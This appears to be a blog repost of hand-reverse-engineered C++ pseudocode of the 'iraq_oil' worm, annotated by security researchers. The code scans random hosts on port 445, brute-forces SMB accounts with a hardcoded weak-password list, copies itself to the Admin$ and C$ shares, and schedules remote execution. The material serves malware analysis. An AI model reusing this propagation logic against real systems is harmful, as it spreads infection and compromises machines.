445 port bruteforce
네트워크 2011. 5. 27. 13:48 |/*
* $Id: //websites/unixwiz/newroot/iraqworm/iraqworm.cpp#5 $
*
* Reverse engineered by a collaboration of:
*
* - Lawrence Baldwin - http://www.mynetwatchman.com
* - Philip Sloss - security researcher
* - Steve Friedl - security researcher
*
* Main page for this reverse engineering:
*
* http://www.unixwiz.net/iraqworm/
*
* =========================================================
* THIS IS NOT COMPLETE - I'M WORKING ON IT AS YOU READ THIS
*
* THE CODE IS NOT MEANT TO COMPILE EITHER
* =========================================================
*
* We used the outstanding IDA Pro disassembler on the binary, and the
* regenerated C++ code was done by hand. This code does NOT compile: it's
* mainly meant to be pseudocode to allow for analyis, and we have spent
* zero time to insure that the code is even strictly legal C++. In no
* case are we using the object features of C++, but we do like some of
* the "better C" facilities.
*
* It's our belief that the code was somewhat optimized, and this makes
* it a bit more difficult to reverse some of the loop control (which
* is complicated by the sometimes bogus logic in the code itself). So
* we use "goto" simply because it's easier for now. We don't write real
* code this way.
*
* We use "NOTE" to call attention to bugs or oddities in the code.
*
* REFERENCES
* ----------
*
* my Net Watchman - http://www.mynetwatchman.com
*
* IDA Pro Disassembler - http://www.datarescue.ecom
*
* Steve Friedl - http://www.unixwiz.net
*/
#include <windows.h>
#include <lm.h>
#include <string.h>
#define NTHREADS 100
/*------------------------------------------------------------------------
* We load NETAPI32.DLL at runtime, and these are the vars that hold the
* pointers to the functions.
*/
static int (*pfNetUserEnum)() = 0;
static int (*pfNetRemoteTOD)() = 0;
static int (*pfNetApiBufferFree)() = 0;
static int (*pfNetScheduleJobAdd)() = 0;
static char MyFilename[260];
static char NullPassword[] = "";
static const char *PasswordTable[] = {
NullPassword,
"admin",
"super",
"root",
"111",
"123",
"1234",
"123456",
"654321",
"1",
"!@#$",
"asdf",
"asdfgh",
"!@#$%",
"!@#$%^",
"!@#$%^&",
"!@#$%^&*",
"server",
NULL // ENDMARKER
};
/*
* WinMain() [COMPLETE]
*
* This is the main entry point to the program, and it's clearly
* not a console-mode app. It uses no parameters, and the main
* function just launches all the threads after setup. This never
* exits.
*/
int __stdcall WinMain( HINSTANCE hInst,
HINSTANCE hPreInst,
LPSTR lpszCmdLine,
int nCmdShow )
{
GetModuleFilename(NULL, MyFilename, sizeof MyFilename);
/*----------------------------------------------------------------
* GET NETWORK API ENTRY POINTS
*
* We are using the NETAPI32 to perform remote management, but this
* is not bound with the EXE itself. This means we have to load it
* at runtime and extract the four functions we care about. It's an
* error if any of the entry points cannot be found.
*/
HMODULE h;
if ( (h = LoadLibrary("NETAPI32.DLL")) = 0 )
exit(EXIT_SUCCESS);
pfNetScheduleJobAdd = GetProcAddress(h, "NetScheduleJobAdd");
pfNetApiBufferFree = GetProcAddress(h, "NetApiBufferFree");
pfNetRemoteTOD = GetProcAddress(h, "NetRemoteTOD");
pfNetUserEnum = GetProcAddress(h, "NetUserEnum");
if ( pfNetScheduleJobAdd == 0
|| pfNetApiBufferFree == 0
|| pfNetRemoteTOD == 0
|| pfNetUserEnum == 0 )
{
exit(EXIT_SUCCESS);
}
srand( GetTickCount() ); // initialize random number generator
/*----------------------------------------------------------------
* INIT WINSOCK
*
* We always must initialize the Winsock library, but the 0xFFFF is
* the "versions" parameter, and we're not sure what "0xFF" does to
* this. Presumably it asks for the newest possible Winsock.
*/
WSAData wdata;
WSAStartup(0xFFFF, &wdata); // ===NOTE: unusual version requested
DWORD threadID[NTHREADS], // LAME: these are set but never used
*ptid = threadID;
for ( int threadcount = NTHREADS; threadcount > 0; threadcount-- )
{
CreateThread( 0, // lpThreadAttributes
0, // dwStackSize
ThreadEntry, // entry-point function
0, // lpParameter
0, // dwCreationFlags
ptid++ ); // ThreadID
}
Sleep( INFINITE );
exit( EXIT_SUCCESS ); // don't ever get here
}
/*
* get_random_32() [COMPLETE]
*
* This returns a random 32-bit number that's created from a pair
* of random 16-bit numbers.
*
* NOTE: since _rand() returns 0..0x7FFF, the return from this
* function contains only 30 bits of randomness, and it will never
* be above 0x7FFF7FFF.
*
* BUT: if this is going to an IP address, it has to be converted
* from "host" order to "network" order, and this turns it into
*
* 0xFF7FFF7F
*
* So two of the bits won't ever be set, and this means that any
* IP address with a second or fourth octet of 128..255 should not
* see any activity.
*/
static long get_random_32(void)
{
return (_rand() << 16) + _rand();
}
/*
* testconnect() [COMPLETE]
*
* Given a random IP address, try to connect to port 445 of it,
* waiting until we have write enable on it. In no case do we
* do any actual I/O to the other end - we're just looking for
* those with ports open.
*/
static int testconnect(unsigned long random32)
{
int fd = socket(AF_INET, SOCK_STREAM, 0);
if ( fd == INVALID_SOCKET )
return -1;
struct sockaddr_in remoteaddr;
remoteaddr.sin_family = AF_INET;
remoteaddr.sin_port = htons(445);
remoteaddr.sin_addr = random32; // no host/net conversion
// make the socket non-blocking
int arg = 1;
ioctlsocket(fd, FIONBIO, &arg);
connect(fd, &remoteaddr, sizeof remoteaddr); // NOTE: no error check
// we're only waiting for write-available on the socket
fd_set wfds;
wfds.fd_array[0] = fd;
wfds.fd_count = 1;
// waiting up to five seconds
struct timeval timeout;
timeout.tv_sec = 5;
timeout.tv_usec = 0;
int n = select(
0, // # of FDs to wait for
NULL, // read FDs
&wfds, // write FDs
NULL, // exception FDs
&timeout); // timeout
closesocket(fd);
return n > 0; // not sure if this is the proper compar
// I'm really lame with CPU flags :-(
}
/*
* ThreadEntry() [COMPLETE]
*
* This is the main entry point for each of the 100 (or so)
* threads. The only purpose is to randomly try to infect
* remote systems. We do a simple test connect() to port 445/tcp
* to see if it's open, and if so, we then try the more detailed
* probing via the NET functions.
*
* This function never returns, nor does it use the parameter.
*/
static void ThreadEntry(DWORD param)
{
while ( TRUE )
{
unsigned long ipaddr = get_random_32();
if ( testconnect(ipaddr) )
{
char UNCname[52]; // NOTE: why 52? only need 17
sprintf(UNCname, "\\\\%s", inet_ntoa(ipaddr));
attackhost(UNCname);
}
}
}
/*
* attackhost() [**INCOMPLETE**]
*
* Given the \\IPADDRESS of a remote host that is known to have
* port 445/tcp open, try to infect it. We enumerate all the users
* found there, then try to connect to each one with a series of
* passwords.
*
* This function seems to return success/failure status, but the
* caller doesn't care about it.
*/
void attackhost(const char *uncname)
{
wchar_t WideServerName[500];
char MultiByteStr[300];
char IPCbuf[200];
char *bufptr = 0;
NETRESOURCE NetResource;
DWORD EntriesRead = 0;
DWORD TotalEntries = 0;
DWORD ResumeHandle = 0;
/*----------------------------------------------------------------
* The wide server name is required for NetUserEnum, and we need
* the IPC$ to make our in initial anonymous connection
*/
MultiByteToWideChar(
0, // code page
0, // dwFlags
uncname, // lpMultiByteString
-1, // length (-1 means look for NUL)
WideServerName, // wide buffer
1000 ); // BUG: should be 500, not 1000
sprintf(IPCbuf, "%s\\ipc$", uncname);
NetResource.lpLocalName = NULL;
NetResource.lpProvider = NULL;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpRemoteName = IPCbuf;
if ( WNetAddConnection2(
&NetResource,
NullPassword, // "" - anonymous
NullPassword, // "" - anonymous
0 ) != NO_ERROR ) // flags
{
// 0 = don't update profiles
// 1 = "force" the disconnect
WNetCancelConnection2( IPCBuf, 0, 1 );
return FALSE;
}
/*----------------------------------------------------------------
* Now enumerate the
*/
while ( TRUE )
{
NET_API_STATUS rc = NetUserEnum(
ServerName, // \\MACHINE (in Unicode)
0, // level: USER_INFO_0
FILTER_NORMAL_ACCOUNT, // no "wierd" users
&bufptr, //
MAX_PREFERRED_LENGTH, // (-1) length
&EntriesRead,
&TotalEntries,
&ResumeHandle );
if ( rc != NERR_Success && rc != ERROR_MORE_DATA )
goto got_error;
userindex = 0;
.... MORE HERE
got_error: if ( bufptr != NULL )
{
NetApiBufferFree(bufptr);
bufptr = NULL;
}
if ( rc == ERROR_MORE_DATA )
{
continue
}
}
return 0;
}
/*
* bruteuser() [COMPLETE]
*
* Given a user name (from NetUserEnum) and the string IP address
* of the remote user, attempt to run through our table of passwords.
* Upon success, stop and return success to the caller so that we
* need not try *more* users.
*/
int __cdecl bruteuser(const char *username, const char *remotename)
{
/*----------------------------------------------------------------
* NOTE: since this is a static symbol, there is no way it could
* be NULL. ???
*/
if ( PasswordTable == NULL )
return FALSE;
for ( const char **pTable = PasswordTable; *pTable; pTable++ )
{
if ( attackuser(username, *pTable, remotename) == TRUE )
return TRUE;
}
return FALSE;
}
/*
* attackuser() [COMPLETE]
*
* Given a username and password, plus the remote server, try to
* attack the system with that information.
*
* LAME: the caller of this function has the remote machine name in
* the full \\ UNC format, but for some reason it calls us without the
* leading slashes. Then this function adds them right back - twice.
* This looks bogus.
*
* The return value seems to be TRUE if the caller should stop
* iterating over the password list, so it generally mean that we
* have successfully guessed the password and shouldn't bother
* trying any more.
*/
int attackuser(const char *username, const char *passwd, const char *remotename)
{
/*----------------------------------------------------------------
* MAKE CONNECTION
*
* Try to connect to the remote system.
*/
char server_name1[52];
sprintf(server_name1, "\\\\%s", remotename);
_NETRESOURCE netresource;
memset(&netresource, 0, sizeof netresource);
netresource.lpRemoteName = server_name1;
netresource.dwType = RESOURCETYPE_DISK; // 1
netresource.lpLocalName = NULL;
netresource.lpProvider = NULL;
int rc = WNetAddConnection(&netresource, passwd, username, 0);
// this doesn't look right: if it's unsuccessful, we shouldn't
// really care for the reason. Why the multiple tests when the
// last one should be completely sufficient?
if ( rc == ERROR_ALREADY_ASSIGNED
|| rc == ERROR_DEVICE_ALREADY_REMEMBERED
|| rc != NERR_Success )
{
rc = FALSE; // "keep going"
goto done;
}
rc = TRUE; // we connected, so no need to try more passwords
/*----------------------------------------------------------------
* CREATE NAMES
*
* There are two shares we try to reference on the remote system,
* and both names are created here.
*
* ===NOTE: a fair amount of this seems really pointless. for
* one thing, "server_name1" already exists with the same data
* that server_name2 is created with, so we have no idea they are
* doing it this way.
*
* Second, since this program is effectively limited to Unicode-
* based platforms anyway, why not just use wsprintf?
*
* wsprintf(admin_share_name,
* L"\\\\%S\\Admin$\\system32\\iraq_oil.exe",
* remotename);
*
* wsprintf(cdrive_share_name,
* L"\\\\%S\\C$\\winnt\\system32\\iraq_oil.exe",
* remotename);
*
* The "%S" means to use the opposite charsize, so for wsprintf,
* it means the source string is regular sized instead of wide.
*/
char server_name2 [52];
char admin_share_name [260];
char cdrive_share_name[260];
wchar_t wide_server_name [100];
sprintf(server_name2, "\\\\%s", remotename); // NOTE: why do this again? ? ?
sprintf(admin_share_name, "%s\\Admin$\\system32\\iraq_oil.exe", server_name2);
sprintf(cdrive_share_name, "%s\\c$\\winnt\system32\\iraq_oil.exe", server_name2);
MultiByteToWideChar(
0, // code page
0, // flags
server_name2, // multibyte source string
-1, // mb length (-1 = look for NUL)
wide_server_name, // wide destination string
200); // ERROR: should be 100 wchar's
/*----------------------------------------------------------------
* Get the time of day on the remote server. This will be used to
* schedule the "job" to run later. If we cannot get the time now,
* we have no hope later so we return TRUE to say "no more".
*/
TIME_OF_DAY_INFO *pTOD = 0;
if ( NetRemoteTOD(wide_server_name, &pTOD) != NERR_Success
|| pTOD == NULL )
{
goto done; // returning TRUE
}
/*----------------------------------------------------------------
* Try to copy to the remote system, and we'll take the first
* copy that works, bypassing the rest.
*/
if ( ! CopyFile(MyFilename, admin_share_name, FALSE)
&& ! CopyFile(MyFilename, cdrive_share_name, FALSE) )
{
/*--------------------------------------------------------
* ===NOTE: memory leak here - the TIME_OF_DAY_INFO
* object is still allocated, but we jump *past*
* the release point.
*/
goto done; // returning TRUE
}
/*----------------------------------------------------------------
* SCHEDULE A JOB
*
* This first manipulates the time of day as fetched from the
* remote server to get us a time to run the job. All the time
* info is in GMT, but the AT_INFO JobTime must be in minutes
* "local" time - this makes it tricky. In any case, we schedule
* the job to run two minutes from now.
*
* The code in the original worm uses what looks like a bizarre
* algorithm for getting the jobtime, and we're not really sure
* why it works. Our preference is to work off of the UNIX time
* and ignore the rest.
*
* Note that the tod_timezone could be "-1", which means that
* it's unknown. This treats the remote as being one minute
* east of GMT.
*
* DWORD jobtime;
*
* jobtime = p->tod_elapsedt / 60; // GMT minutes since epoch
* jobtime += p->tod_timezone; // convert to localtime
* jobtime += 2; // 2 mins in the future
* jobtime %= (24 * 60); // truncate "day" part
*
*
* atinfo.JobTime = jobtime * 60 * 1000;
*/
DWORD jobtime = abs(p->tod_timezone)
+ (p->tod_hours * 60)
+ p->tod_mins
+ 2;
#define DAY_OF_MINUTES (24*60)
if ( jobtime > DAY_OF_MINUTES)
jobtime -= DAY_OF_MINUTES;
AT_INFO atinfo;
memset(&atinfo, 0, sizeof atinfo);
atinfo.JobTime = jobtime * 60 * 1000; // one minute of milliseconds
atinfo.Command = L"iraq_oil.exe"; // Unicode
DWORD jobid; // value unused
NetScheduleJobAdd( wide_server_name, // the system to infect
&atinfo,
&jobid );
NetApiBufferFree(pTOD);
/*----------------------------------------------------------------
* EXIT THE FUNCTION
*
* This is how all paths exit this function, and we always make a
* point to disconnect the share even if we were not able to connect
* it in the first place. This seems questionable.
*/
done:
WNetCancelConnection2(server_name1, TRUE); // TRUE = force disconenct
return rc;
}